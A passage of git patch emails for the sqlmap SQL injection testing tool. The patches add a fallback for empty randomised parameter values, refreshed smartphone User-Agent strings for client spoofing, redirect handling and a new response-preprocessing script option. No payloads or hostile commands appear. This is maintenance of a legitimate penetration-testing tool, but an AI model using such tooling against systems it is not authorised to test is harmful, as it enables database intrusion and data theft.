Boldify all logger messages containing these "patterns" BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED") +# TLDs used in randomization of email-alike parameter values +RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe") + # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 33ea99f8a72..e5a195ef787 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -4155b780398de5971f1b7b23b08f80d3 lib/core/common.py +fa9741a9a530283e0071ada4ef54917e lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 00828c4455321b6987e3f882f4ef4f92 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -c84b0e1b41b6bb971d554a21838a4551 lib/core/settings.py +e5ff2d732c840830f7b34635966f4727 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From c89c1e7abf18ab71369f56de1fcc41c87cb1ca18 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Feb 2019 02:29:13 +0100 Subject: [PATCH 122/800] Fallback for --randomize in case of empty value --- lib/core/common.py | 3 +++ lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- txt/checksum.md5 | 6 +++--- 4 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 11913f01367..22fe12f0cae 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3947,6 +3947,9 @@ def randomizeParameterValue(value): parts[-1] = random.sample(RANDOMIZATION_TLDS, 1)[0] retVal = '.'.join(parts) + if not retVal: + retVal = randomStr(lowercase=True) + return retVal @cachedmethod diff --git a/lib/core/settings.py b/lib/core/settings.py index 177298c794d..631139613ef 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.32" +VERSION = "1.3.2.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 712ff032a4c..9f9751fa55c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1040,10 +1040,10 @@ def _adjustParameter(paramString, parameter, newValue): if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString - match = re.search(r"(\A|\b)%s=(?P<value>[^&;]+)" % re.escape(randomParameter), paramString) + match = re.search(r"(\A|\b)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") - retVal = re.sub(r"(\A|\b)%s=[^&;]+" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) + retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index e5a195ef787..48ce2125059 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -fa9741a9a530283e0071ada4ef54917e lib/core/common.py +9deec4762d61e057b6e069b2538bdcf8 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 00828c4455321b6987e3f882f4ef4f92 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -e5ff2d732c840830f7b34635966f4727 lib/core/settings.py +7992ca5bdf434688788659bbd586b4fc lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -493bc4d43b56abec083100d52a1fffe0 lib/request/connect.py +2b58b3ed5f3aff7025e02bb1427bc637 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From cdd4007f116ba4365eb380a189a519d2de116061 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Sat, 2 Mar 2019 01:28:58 +0100 Subject: [PATCH 123/800] Fixes #3502 --- lib/core/enums.py | 14 +++++++++----- lib/core/option.py | 34 +++++++++++++++++++--------------- lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- 4 files changed, 32 insertions(+), 24 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index fe5706a5512..0faa9404e3f 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -156,13 +156,17 @@ class HASH: # Reference: http://www.zytrax.com/tech/web/mobile_ids.html class MOBILES: - BLACKBERRY = ("BlackBerry 9900", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+") - GALAXY = ("Samsung Galaxy S", "Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1") + BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") + GALAXY = ("Samsung Galaxy S7", "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") - HTC = ("HTC Sensation", "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30") - IPHONE = ("Apple iPhone 4s", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3") + HTC = ("HTC 10", "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36") + HUAWEI = ("Huawei P8", "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36") + IPHONE = ("Apple iPhone 8", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1") + LUMIA = ("Microsoft Lumia 950", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977") NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") + PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36") + XIAOMI = ("Xiaomi Mi 3", "Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1") class PROXY_TYPE: HTTP = "HTTP" @@ -381,4 +385,4 @@ class TIMEOUT_STATE: class HINT: PREPEND = 0 - APPEND = 1 \ No newline at end of file + APPEND = 1 diff --git a/lib/core/option.py b/lib/core/option.py index 5797daf93f2..11570f129d7 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1278,28 +1278,32 @@ def _setHTTPUserAgent(): file choosed as user option """ + debugMsg = "setting the HTTP User-Agent header" + logger.debug(debugMsg) + if conf.mobile: - message = "which smartphone do you want sqlmap to imitate " - message += "through HTTP User-Agent header?\n" - items = sorted(getPublicTypeMembers(MOBILES, True)) + if conf.randomAgent: + _ = random.sample([_[1] for _ in getPublicTypeMembers(MOBILES, True)], 1)[0] + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _)) + else: + message = "which smartphone do you want sqlmap to imitate " + message += "through HTTP User-Agent header?\n" + items = sorted(getPublicTypeMembers(MOBILES, True)) - for count in xrange(len(items)): - item = items[count] - message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") + for count in xrange(len(items)): + item = items[count] + message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") - test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) + test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) - try: - item = items[int(test) - 1] - except: - item = MOBILES.IPHONE + try: + item = items[int(test) - 1] + except: + item = MOBILES.IPHONE - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) elif conf.agent: - debugMsg = "setting the HTTP User-Agent header" - logger.debug(debugMsg) - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent)) elif not conf.randomAgent: diff --git a/lib/core/settings.py b/lib/core/settings.py index 631139613ef..6cdae10fac9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.33" +VERSION = "1.3.3.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 48ce2125059..ecf4692cc03 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -38,19 +38,19 @@ abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py 4ba141124699fd7a763dea82f17fe523 lib/core/dump.py -5c91145204092b995ed1ac641e9e291d lib/core/enums.py +0a49eaf3f940382464ee08c03c9891a8 lib/core/enums.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py 151136142a14bee82cb02a9ca64c741d lib/core/optiondict.py -fca2d30cc9f9f5906e53542b2a9c247e lib/core/option.py +7f9d7b65f2278e5d233008a8bdd22c87 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -7992ca5bdf434688788659bbd586b4fc lib/core/settings.py +dd5a87792c98d150cd5d9c85bc086d13 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 10977ca530c4b45df3248587f28882d1cb8d221d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 4 Mar 2019 13:21:57 +0100 Subject: [PATCH 124/800] Fixes #3510 --- lib/controller/checks.py | 7 +++++++ lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 835e8bacf8e..39312a5c67e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1421,17 +1421,24 @@ def _(*args, **kwargs): page, headers, code = None, None, None try: pushValue(kb.redirectChoice) + pushValue(kb.resendPostOnRedirect) + kb.redirectChoice = REDIRECTION.YES + kb.resendPostOnRedirect = True + if kwargs.get("get"): kwargs["get"] = urlencode(kwargs["get"]) kwargs["raise404"] = False kwargs["silent"] = True kwargs["finalCode"] = True + page, headers, code = Request.getPage(*args, **kwargs) except Exception: pass finally: + kb.resendPostOnRedirect = popValue() kb.redirectChoice = popValue() + return page or "", headers or {}, code retVal = [] diff --git a/lib/core/settings.py b/lib/core/settings.py index 6cdae10fac9..656119f4b7c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.0" +VERSION = "1.3.3.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index ecf4692cc03..1e47ae13c27 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -24,7 +24,7 @@ fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py aec73042403993076f478da48066a79e extra/wafdetectify/wafdetectify.py e6909a3b32fc09c0373101eb58c76538 lib/controller/action.py -d392dbccdb59ac36530c1182675a2609 lib/controller/checks.py +0fce185e63b1b743b3ef0a3dbe640366 lib/controller/checks.py 8581acf56b8fb0def50af3707490a834 lib/controller/controller.py c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -dd5a87792c98d150cd5d9c85bc086d13 lib/core/settings.py +9dbce20566a1964f650b8986885ae370 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 8cd257c893ea0474bb8b66c81a24989c4279fe9d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 4 Mar 2019 15:24:12 +0100 Subject: [PATCH 125/800] Implementation for #3505 --- lib/core/enums.py | 1 + lib/core/option.py | 77 ++++++++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 ++ lib/request/connect.py | 8 +++++ txt/checksum.md5 | 10 +++--- 6 files changed, 95 insertions(+), 6 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 0faa9404e3f..c572d10d69a 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -377,6 +377,7 @@ class MKSTEMP_PREFIX: COOKIE_JAR = "sqlmapcookiejar-" BIG_ARRAY = "sqlmapbigarray-" SPECIFIC_RESPONSE = "sqlmapresponse-" + PREPROCESS = "sqlmappreprocess-" class TIMEOUT_STATE: NORMAL = 0 diff --git a/lib/core/option.py b/lib/core/option.py index 11570f129d7..8c11befa0f5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -76,6 +76,7 @@ from lib.core.enums import DUMP_FORMAT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MOBILES from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD @@ -825,6 +826,80 @@ def _setTamperingFunctions(): for _, function in priorities: kb.tamperFunctions.append(function) +def _setPreprocessFunctions(): + """ + Loads preprocess functions from given script(s) + """ + + if conf.preprocess: + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.preprocess): + found = False + + script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING) + + try: + if not script: + continue + + if not os.path.exists(script): + errMsg = "preprocess script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) + + elif not script.endswith(".py"): + errMsg = "preprocess script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--preprocess'" + raise SqlmapSyntaxException(errMsg) + + dirname, filename = os.path.split(script) + dirname = os.path.abspath(dirname) + + infoMsg = "loading preprocess module '%s'" % filename[:-3] + logger.info(infoMsg) + + if not os.path.exists(os.path.join(dirname, "__init__.py")): + errMsg = "make sure that there is an empty file '__init__.py' " + errMsg += "inside of preprocess scripts directory '%s'" % dirname + raise SqlmapGenericException(errMsg) + + if dirname not in sys.path: + sys.path.insert(0, dirname) + + try: + module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) + except Exception as ex: + raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (filename[:-3], getSafeExString(ex))) + + for name, function in inspect.getmembers(module, inspect.isfunction): + if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): + found = True + + kb.preprocessFunctions.append(function) + function.func_name = module.__name__ + + break + + if not found: + errMsg = "missing function 'preprocess(page, headers=None, code=None)' " + errMsg += "in preprocess script '%s'" % script + raise SqlmapGenericException(errMsg) + else: + try: + _, _, _ = function("", {}, None) + except: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") + os.close(handle) + + open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n return page, headers, code\n") + open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") + + errMsg = "function 'preprocess(page, headers=None, code=None)' " + errMsg += "in preprocess script '%s' " % script + errMsg += "should return a tuple '(page, headers, code)' " + errMsg += "(Note: find template script at '%s')" % filename + raise SqlmapGenericException(errMsg) + def _setWafFunctions(): """ Loads WAF/IPS detecting functions from script(s) @@ -1937,6 +2012,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.passwordMgr = None + kb.preprocessFunctions = [] kb.skipVulnHost = None kb.tamperFunctions = [] kb.targets = oset() @@ -2549,6 +2625,7 @@ def init(): _setMultipleTargets() _listTamperingFunctions() _setTamperingFunctions() + _setPreprocessFunctions() _setWafFunctions() _setTrafficOutputFP() _setupHTTPCollector() diff --git a/lib/core/settings.py b/lib/core/settings.py index 656119f4b7c..e3144e47f4b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.1" +VERSION = "1.3.3.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 388634e0e2c..7cec15c1419 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -595,6 +595,9 @@ def cmdLineParser(argv=None): general.add_option("--parse-errors", dest="parseErrors", action="store_true", help="Parse and display DBMS error messages from responses") + general.add_option("--preprocess", dest="preprocess", + help="Use given script(s) for preprocessing of response data") + general.add_option("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) diff --git a/lib/request/connect.py b/lib/request/connect.py index 9f9751fa55c..f147fe8c224 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -746,6 +746,14 @@ class _(dict): page = getUnicode(page) socket.setdefaulttimeout(conf.timeout) + for function in kb.preprocessFunctions: + try: + page, responseHeaders, code = function(page, responseHeaders, code) + except Exception as ex: + errMsg = "error occurred while running preprocess " + errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + processResponse(page, responseHeaders, status) if conn and getattr(conn, "redurl", None): diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1e47ae13c27..d988eb90899 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -38,19 +38,19 @@ abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py 4ba141124699fd7a763dea82f17fe523 lib/core/dump.py -0a49eaf3f940382464ee08c03c9891a8 lib/core/enums.py +1226fed38d1175aee8907e31ddf0cab2 lib/core/enums.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py 151136142a14bee82cb02a9ca64c741d lib/core/optiondict.py -7f9d7b65f2278e5d233008a8bdd22c87 lib/core/option.py +5d21cede75bd8043a0b9f2605047ea07 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -9dbce20566a1964f650b8986885ae370 lib/core/settings.py +177d5fddb467b206530dacbc8618928d lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -61,7 +61,7 @@ d6269c55789f78cf707e09a0f5b45443 lib/core/session.py 5b3f08208be0579356f78ce5805d37b2 lib/core/wordlist.py fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py -b23a0940d21347975a783c63fe671974 lib/parse/cmdline.py +fafa321d2bbfc60410a131f68d5203ea lib/parse/cmdline.py 06ccbccb63255c8f1c35950a4c8a6f6b lib/parse/configfile.py d34df646508c2dceb25205e1316673d1 lib/parse/handler.py 43deb2400e269e602e916efaec7c0903 lib/parse/headers.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -2b58b3ed5f3aff7025e02bb1427bc637 lib/request/connect.py +3925fef5710ac4e96b85c808df1c2f6a lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From b1ef5d520c33b81d4da3b2fe0341c1dec2f5fd4b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 4 Mar 2019 15:58:24 +0100 Subject: [PATCH 126/800] Minor update --- lib/core/optiondict.py | 2 +- lib/core/settings.py | 2 +- sqlmap.conf | 3 +++ txt/checksum.md5 | 4 ++-- 4 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 1acf4762775..17f88f98532 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -192,7 +192,6 @@ }, "General": { - # "xmlFile": "string", "trafficFile": "string", "batch": "boolean", "binaryFields": "string", @@ -211,6 +210,7 @@ "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", + "preprocess": "string", "repair": "boolean", "saveConfig": "string", "scope": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index e3144e47f4b..e44d9a1aa84 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.2" +VERSION = "1.3.3.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.conf b/sqlmap.conf index 0a2331ace72..7a4cd2672eb 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -725,6 +725,9 @@ outputDir = # Valid: True or False parseErrors = False +# Use given script(s) for preprocessing of response data. +preprocess = + # Redump entries having unknown character marker (?). # Valid: True or False repair = False diff --git a/txt/checksum.md5 b/txt/checksum.md5 index d988eb90899..4558c437861 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -42,7 +42,7 @@ abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py -151136142a14bee82cb02a9ca64c741d lib/core/optiondict.py +947f41084e551ff3b7ef7dda2f25ef20 lib/core/optiondict.py 5d21cede75bd8043a0b9f2605047ea07 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -177d5fddb467b206530dacbc8618928d lib/core/settings.py +430c1a61f8acb571e755a3ddab1c1591 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 59d97968a7dbf47a49078501c42858745fcf6aff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar 